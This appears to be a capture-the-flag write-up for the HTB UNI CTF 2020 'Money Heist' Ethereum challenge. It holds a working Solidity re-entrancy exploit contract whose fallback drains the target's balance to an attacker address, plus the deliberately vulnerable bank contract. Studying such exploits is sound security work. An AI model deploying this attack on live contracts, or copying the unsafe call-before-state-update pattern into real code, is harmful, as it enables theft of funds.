# Walkthrough
This is the write-up for the HTB UNI CTF 2020 challenge “Money Heist”. This challenge is an Ethereum blockchain challenge. The goal of the challenge was to drain the Ethereum from the smart contract. It was submitted as a new contract to the Ropsten test network, so for testing and debugging purposes I pulled the contract and ran it in a local instance to investigate it further.
First, let’s see what this smart contract does (Contact is at the end of the blog). The smart contract allows a person to deposits into the contract Ether, and transfer it between other accounts the smart contract knows, then the user could “Close” their account and it will send the value back. It seems like a simple bank system where the contract holds everyone’s money centrally.
To start off looking at this code I started by running it locally on remix. I wanted to test the fundsMovementProcesss function. I started by checking my funds and the funds of the contract using the checkAccountBalance method. I noticed that I want to remove the funds that are associated with the contract itself. I then looked at if I could simply just call the function fundsMovementsProcess and just remove or transfer the funds from the smart contract with my own given parameters. But that seemed not to work because it checks if the sender in a withdraw process. This is why it wants you to use the other functions where it checks some parameters before it sets your isWithdrawProcess to true and then calls the other function.
**So we know from this relatively what steps we need to follow:**
1. Change isWithdrawProcess to TRUE
2. Call fundsMovementProcesss with the source equal to the moneyHeist smart contract address and destination equal to us (or an address we control).
Now we know the steps, we will have to find the vulnerability. While looking at the lines of code, two lines stand out. These are the lines that say msg.sender.call.value(). These lines in particular seem interesting, so lets refer to the solidity documentation. From a quick search I found the Security Considerations section in the [solidity documentation](https://docs.soliditylang.org/en/v0.4.21/security-considerations.html).
From this security concern, we know that this vulnerability we need to exploit will be a Re-Entrancy attack. We will create a malicious smart contract that will call the original moneyheist smart contract. This will allow an outside smart contract to construct a malicious call to the original smart contract so it will give control over to the malicious smart contract when it was not supposed too.
**The call structure should be this:**
Malicious Contract(bank.dailyWithdrawalRequest(0)) -> Original
Malicious Contract(Fallback()) <- Original *Note, here the Boolean to withdraw is set to true by the previous call.
Malicious Contract(bank.fundsMovementProcess(SMART CONTRACT ADDR, ME, INT_ALL_MONEY, 2)) -> Original

**Now we know the structure, let’s make some code to match that structure:**
```solidity
pragma solidity ^0.6.0;
import "moneyHeist.sol";
contract Malicious {
uint balance;
moneyHeist bank = moneyHeist(0x8acb5f5C78D81374372c497ffe60999720408779);
function makeAccount() public payable { //set value of transaction to 2000
balance = 0;
bank.createNewAccount.value(balance)();
}
function mali() public payable{
bank.dailyWithdrawalRequest(0);
}
fallback () external payable { // fallback function
bank.fundsMovementProcess(0x8acb5f5C78D81374372c497ffe60999720408779, 0x066e27E3b75Be9f0c450AD6af18dB49b250547C1, 10000000000000000, 2);
}
}
```
**Note: before doing this, make sure you created an account on the smart contract by calling the function. It will be needed later.**
Here is a smart contract where all you will need to do is call two functions. The first one makes an account with no money. This is to get past the first filter that check if the account is active. The next function in the smart contract is what starts off the vulnerability, mali(). Mali() calls the withdraw with 0, this will then pass all the checks and then set the “isWithdrawProcess” to TRUE. It will then call msg.sender.call.value() which will call back to my malicious smart contract and allow it to handle the call. That is why there is a fallback function. The fallback function is called and the smart contact transfers all the money in the smart contract to me (malicious smart contact).
The final step is to go back to the address that you transferred all the money too, and call the function to close your account. At that point, it will pull all the Ethereum out of the smart contract and send it to you.
Now you have completely cleared the smart contract out of all of the Ethereum!
---
# Original Contract
**Note: Below is the entire smart contract which was exploited.**
```Solidity
pragma solidity ^0.6.0;
import "./SafeMath.sol";
contract moneyHeist {
using SafeMath for uint;
mapping (address => uint256) private bankRobberAccount;
mapping (address => bool) private accountAlreadyExists;
mapping (address => bool) private hasAlreadyWithdrawn;
mapping (address => bool) private isAccountActive;
mapping (address => bool) private inWithdrawalProcess;
uint256 public possibleWithdrawalPerDay;
constructor() public payable {
possibleWithdrawalPerDay = 0.001 ether;
bankRobberAccount[address(this)] = msg.value;
}
function createNewAccount() public payable {
require(accountAlreadyExists[msg.sender] == false);
bankRobberAccount[msg.sender] = msg.value;
hasAlreadyWithdrawn[msg.sender] = false;
isAccountActive[msg.sender] = true;
accountAlreadyExists[msg.sender] = true;
}
function checkAccountBalance(address accountAddress) public view returns(uint) {
return bankRobberAccount[accountAddress];
}
function fundsMovementProcess(address sourceAddress, address destinationAddress, uint transferAmount, uint8 transferType) public {
require(inWithdrawalProcess[msg.sender] == true);
if(transferType == 1){
bankRobberAccount[destinationAddress] = bankRobberAccount[destinationAddress].sub(transferAmount);
} else if(transferType == 2) {
bankRobberAccount[destinationAddress] = bankRobberAccount[destinationAddress].add(transferAmount);
bankRobberAccount[sourceAddress] = bankRobberAccount[sourceAddress].sub(transferAmount);
} else {
revert();
}
}
function transferBetweenAccounts(address destinationAddress, uint transferAmount) public {
require(isAccountActive[msg.sender] == true && isAccountActive[destinationAddress] == true);
require(bankRobberAccount[msg.sender] >= transferAmount);
inWithdrawalProcess[msg.sender] = true;
fundsMovementProcess(msg.sender,destinationAddress,transferAmount,2);
inWithdrawalProcess[msg.sender] = false;
}
function dailyWithdrawalRequest(uint transferAmount) public {
require(transferAmount <= possibleWithdrawalPerDay);
require(bankRobberAccount[msg.sender] >= transferAmount);
require(isAccountActive[msg.sender] == true);
require(hasAlreadyWithdrawn[msg.sender] == false);
inWithdrawalProcess[msg.sender] = true;
(bool isSuccessfulTransfer,) = msg.sender.call.value(transferAmount)("");
require(isSuccessfulTransfer);
fundsMovementProcess(address(this),msg.sender,transferAmount,1);
hasAlreadyWithdrawn[msg.sender] = true;
inWithdrawalProcess[msg.sender] = false;
}
function closeBankAccount() public {
require(isAccountActive[msg.sender] == true);
(bool isSuccessfulTransfer,) = msg.sender.call.value(bankRobberAccount[msg.sender])("");
require(isSuccessfulTransfer);
bankRobberAccount[msg.sender] = 0;
isAccountActive[msg.sender] = false;
}
}
```